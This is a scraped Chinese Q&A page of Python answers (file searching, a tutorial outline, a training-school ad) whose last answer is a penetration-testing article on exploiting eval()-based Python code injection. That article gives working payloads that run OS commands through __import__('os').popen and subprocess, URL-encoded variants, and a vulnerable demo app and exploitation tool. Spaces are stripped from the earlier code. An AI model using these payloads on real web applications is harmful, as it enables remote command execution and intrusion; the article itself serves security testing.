导航:首页 > 编程语言 > 用python查找资料

用python查找资料

发布时间:2022-08-21 02:07:56

⑴ 如何使用python递归查找并删除某个目录下的文件

importos,fnmatch

defsearch(pattern,root=os.curdir):
forpath,dirs,filesinos.walk(os.path.abspath(root)):
forfilenameinfnmatch.filter(files,pattern):
yieldos.path.join(path,filename)

forxinsearch("xxx.*"):
print"Deleting%s"%x
os.remove(x)

⑵ 如何用Python,查找json格式中指定的数据,然后输出这些查找到的数据

用Python查找json格式中指定的数据输出这些查找到的数据的操作步骤如下:

1,打开一个编辑器,例如sublime text 3,然后创建一个新的PY文档。

⑶ 如何用python

把之前教程的地址移过来
合并帖子的内容:【整理】【多图详解】如何在Windows下开发Python:在cmd下运行Python脚本+如何使用Python Shell(command line模式和GUI模式)+如何使用Python IDE
为出版而整理:每章都加了摘要,每章都完善了架构。
整理章节的架构;整理第一章的内容
添加Python学习资料目录
前言
1. 本文目的
2. 看此文之前你所要掌握的知识
1. Python简介
1.1. 什么是Python
1.1.1. Python这个单词的本意是蟒蛇
1.1.2. Python是一种计算机语言
1.1.3. 作为计算机语言的Python的各种叫法的含义
1.1.3.1. Python是一种脚本语言
1.1.3.2. Python是一种交互性的语言
1.1.3.3. Python是一门解释性的语言
1.1.3.4. Python是一种面向对象的语言
1.1.3.5. Python是一种高级语言
1.2. Python能干什么
1.3. Python的特点
1.3.1. 作为解释性语言的Python的优缺点
1.3.1.1. Python的优点
1.3.1.2. Python的缺点
1.3.2. Python语言自身的特点
1.4. Python相关的必备知识
1.4.1. Python文件的后缀是py
1.4.2. Python的缩写和简称
1.4.3. Python的官网
1.4.4. Python的logo图案
2. 选择并下载合适的版本的Python
2.1. 为何要注意选择合适版本的Python
2.2. 如何选择正确版本的Python
2.2.1. 明确当前所处平台版本的信息
2.2.2. 选择可用和速度快的下载源
2.2.3. 选择合适的版本的Python
3. 如何安装Python
3.1. 如何在Windows系统中安装Python
3.1.1. 在Win7中安装Python
3.2. 如何在linux系统中安装Python
3.2.1. 在Ubuntu中安装Python
3.3. 如何在Mac中安装Python
4. 选择合适的Python开发环境
4.1. 如何在Windows环境下开发Python
4.1.1. Python的最原始的开发方式是什么样的
4.1.1.1. 找个文本编辑器,新建个.py文件,写上Python代码
4.1.1.2. 打开Windows的cmd,并且切换到对应的python脚本所在目录
4.1.1.2.1. 方法1:手动打开cmd,并cd到对应路径
4.1.1.2.2. 方法2:通过Notepad++的Open current dir cmd
4.1.1.3. 在cmd中去运行你的Python脚本(.py文件)
4.1.2. 利用Python的shell进行交互式开发又是什么样的
4.1.2.1. 命令行版本的Python Shell – Python (command line)
4.1.2.2. 带图形界面的Python Shell – IDLE (Python GUI)
4.1.2.3. 关于(command line或GUI版本的)Python Shell的用途
4.1.3. 利用第三方Python的IDE进行Python开发又是怎么回事
4.1.3.1. 为何会有Python的IDE
4.1.3.2. 目前常见的一些Python的IDE
4.1.3.3. Python的IDE和Python代码编辑器,Windows的cmd,等的关系
4.1.3.4. 使用IDE时所遇到的一些常见的问题
4.1.3.4.1. IDE只能够打开了文件,并不代表就已经在shell中运行了该文件
4.1.3.4.2. 需要注意,确保有可以运行的Python起始部分的代码
4.1.4. 总结:到底使用哪种环境去开发Python
4.1.4.1. 对初学者的建议:如何选用Python的开发环境
4.1.5. 如何在Windows环境下使用Python脚本
4.1.5.1. 如何在Windows下的cmd中运行BlogsToWordpress.py
4.2. 如何在Linux环境下开发Python
4.3. 如何在Mac环境下开发Python
5. Python的基本语法和基础知识
5.1. 一张图片入门Python
5.2. Python中的2.x版本和3.x版本
5.3. Python文件编码声明
5.4. Python中的缩进
5.5. Python中基本变量的声明和定义
5.5.1. Python中变量的作用域
5.5.2. Python中变量与C语言中的变量对比
5.6. Python中的分支结构
5.7. Python中的函数
5.8. Python中的面向对象编程
6. 继续学习Python的思路和方法
6.1. 如何继续深入学习Python
6.2. 如何利用Python相关资源
6.2.1. 如何利用Python自带的手册
6.2.2. 如何利用一些在线的Python资源
7. Python常见问题及解答
常见问题
7.1. 在window的cmd中运行python结果却调用了文本编辑器去打开了,而不是去调用Python解析器去运行python文件
8. Python相关资源
参考书目
插图清单
4.1. 在Windows下的cmd下面运行Python脚本的样子
4.2. 开始菜单中找到的Python (Command Line)
4.3. Python (Command Line)的界面
4.4. 动画演示如何在Windows的cmd中运行Python脚本BlogsToWordpress.py
4.5. 在Mac下的Terminal中运行Python脚本:BlogsToWordpress
5.1. Quick Python Script Explanation
5.2. 一张图入门Python中文版
7.1. 安装Python时选择Register Extensions
范例清单
4.1. 举例:用Python的IDLE去做URL解码
公式清单
4.1. 什么是IDE
4.2. 什么是Python的IDE

⑷ 如何用Python实现查找"/"目录下的文件夹或文件,感谢

给你各相对来说容易理解的哈
import os
name=raw_input('filename:') #在这里输入你的查找值
a=os.listdir('/') #把所有/目录下的文件,目录存放入a
if name in a: #如果查找值在/目录下,进行进一步判断
if os.path.isdir(name): #判断是否为目录

print 'dir'

elif os.path.isfile(name) and os.pathislink(name): #符号连接即是文件又是link所以双重判断

print 'link'

elif os.path.isfile(name): #判断是否文件

print 'file'

else: #linux上文件类型多,不符合上面三种打印0ther

print 'other'
else: #不存在打印‘not exist’
print 'not exist'

⑸ python教程免费的学习资料可以上哪找

python教程免费的学习资料可以上【达内教育】官网找。该机构拥有名企总监级讲师团队多年Python实战经验,课程由浅入深,循序渐进,学习无压力。

【python教程】具体内容如下:
1、Python软件开发基础:掌握计算机的构成和工作原理、使用Linux常用工具和建立Python开发环境,并使用print输出等。
2、Python全栈式WEB:独立完成后端软件开发,深入理解Python开发后端的精髓、独立完成前端软件的开发,并和后端结合,熟练掌握使用Python进行全站WEB开发的技巧。
3、Python多领域开发:使用Python熟练编写爬虫软件、熟练使用Python库进行数据分析和掌握软件工程、项目管理、项目文档、软件测试调优的基本方法等。感兴趣的话点击此处,免费学习一下

想了解更多有关python的相关信息,推荐咨询【达内教育】。【达内教育】重磅推出“因材施教、分级培优”创新教学模式,同一课程方向,面向不同受众群体,提供就业、培优、才高三个级别教学课程,达内“因材施教、分级培优“差异化教学模式,让每一位来达内学习的学员都能找到适合自己的课程。达内IT培训机构,试听名额限时抢购。

⑹ 利用名单匹配资料,资料名称无规则但肯定包含人名,如何利用python迅速找到对应的文件

可以根据你的名单,查找包含这个名字的文件,打印对应的路径即可。

⑺ 请问如何用python实现查找指定文件

若不包含子目录的遍历:

importglob

forfilenameinglob.glob("f:/py/*.exe"):
printfilename

否则可以:

importos
importfnmatch

defiterfindfiles(path,fnexp):
forroot,dirs,filesinos.walk(path):
forfilenameinfnmatch.filter(files,fnexp):
yieldos.path.join(root,filename)

forfilenameiniterfindfiles(r"f:/py","*.exe"):
printfilename

⑻ Python 解决你的实际问题可以在哪些地方找资料

Python 标准库:
应该浏览一下这份文档,它为标准库中的类型、函数和模块提供了完整(尽管很简略)的参考资料。标准的 Python 发布版包括了 大量 的附加模块。其中有针对读取 Unix 邮箱、接收 HTTP 文档、生成随机数、解析命令行选项、写 CGI 程序、压缩数据以及很多其它任务的模块。略读一下库参考会给你很多解决问题的思路。
安装 Python 模块 展示了如何安装其他 Python 用户编写的附加模块。
Python 语言参考: 详细说明了 Python 语法和语义。
它读起来很累,不过对于语言本身,有份完整的手册很有用。
其它 Python 资源:
http://www.python.org: Python 官方网站。它包含代码、文档和 Web 上与 Python 有关的页面链接该网站镜像于全世界的几处其它问题,类似欧洲、日本和澳大利亚。
镜像可能会比主站快,这取决于你的地理位置。
http://docs.python.org: 快速访问 Python 的文档。
http://pypi.python.org: Python 包索引,以前昵称为奶酪店,索引了可供下载的,用户创建的 Python 模块。如果你发布了代码,可以注册到这里,这样别人可以找到它。
http://code.activestate.com/recipes/langs/python/: Python 食谱是大量的示例代码、大型的集合,和有用的脚本。
值得关注的是这次资源已经结集成书,名为《Python 食谱》(O’Reilly & Associates, ISBN 0-596-00797-3。)
http://scipy.org: The Scientific Python 项目包括数组快速计算和处理模块,和大量线性代数、傅里叶变换、非线性solvers、随机数分布,统计分析以及类似的包。
与 Python 有关的问题,以及问题报告,可以发到新闻组 comp.lang.python ,或者发送到邮件组 [email protected] 。新闻组和邮件组是开放的,所以发送的消息可以自动的跟到另一个之后。每天有超过 120 个投递(高峰时有数百),提问(以及回答)问题,为新功能提建议,发布新模块。在发信之前,请查阅 常见问题 (亦称 FAQ),或者在 Python 源码发布包的 Misc/ 目录中查阅。邮件组也可以在 http://mail.python.org/pipermail/ 访问。FAQ回答了很多被反复提到的问题,很可能已经解答了你的问题。
Next Previous

⑼ Python里怎么用find找出HTML里需要的资料(不用re模块和beautifulSoup)

你可以看一个python自带的源代码。叫sgmlparser.py, 那个解析方法又叫平面解析方法。参考它的算法用find就可以解析出所要的资料。

其实用find速度更快。按理比re要快不少。 只需要找到头与尾就可以。 只是因为find相对比较固定,没有re那么灵活,所以适应性差些。 经常要变更。比如你找一个class="id_xxx"这样的内容用find就很费劲。

你先做一个类。它能封装你查找到起点,终点。查找区间。然后内部使用find做查找。实现类似findall, search, subplace, like等功能。其实也不难。

只是如果做得太复杂了。效率可能受影响,那么你可以使用cython做成C语言的格式,效率就不受影响了。

⑽ 如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。
因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:
1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:
1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:
\
大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。
不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:
\
下图显示的是Burp在扫描这个漏洞时所使用的Payload:
\
我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的方法来实现,例如使用全局函数“__import__”。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:
\
请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。
如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用方法跟sqlmap基本相同。

阅读全文

与用python查找资料相关的资料

热点内容
爱上北斗星男友在哪个app上看 浏览:413
主力散户派发源码 浏览:663
linux如何修复服务器时间 浏览:55
荣县优途网约车app叫什么 浏览:472
百姓网app截图是什么意思 浏览:222
php如何嵌入html 浏览:809
解压专家怎么传输 浏览:743
如何共享服务器的网络连接 浏览:132
程序员简易表白代码 浏览:166
什么是无线加密狗 浏览:62
国家反诈中心app为什么会弹出 浏览:67
cad压缩图打印 浏览:102
网页打开速度与服务器有什么关系 浏览:863
android开发技术文档 浏览:65
32单片机写程序 浏览:49
三星双清无命令 浏览:837
汉寿小程序源码 浏览:344
易助erp云服务器 浏览:532
修改本地账户管理员文件夹 浏览:419
python爬虫工程师招聘 浏览:285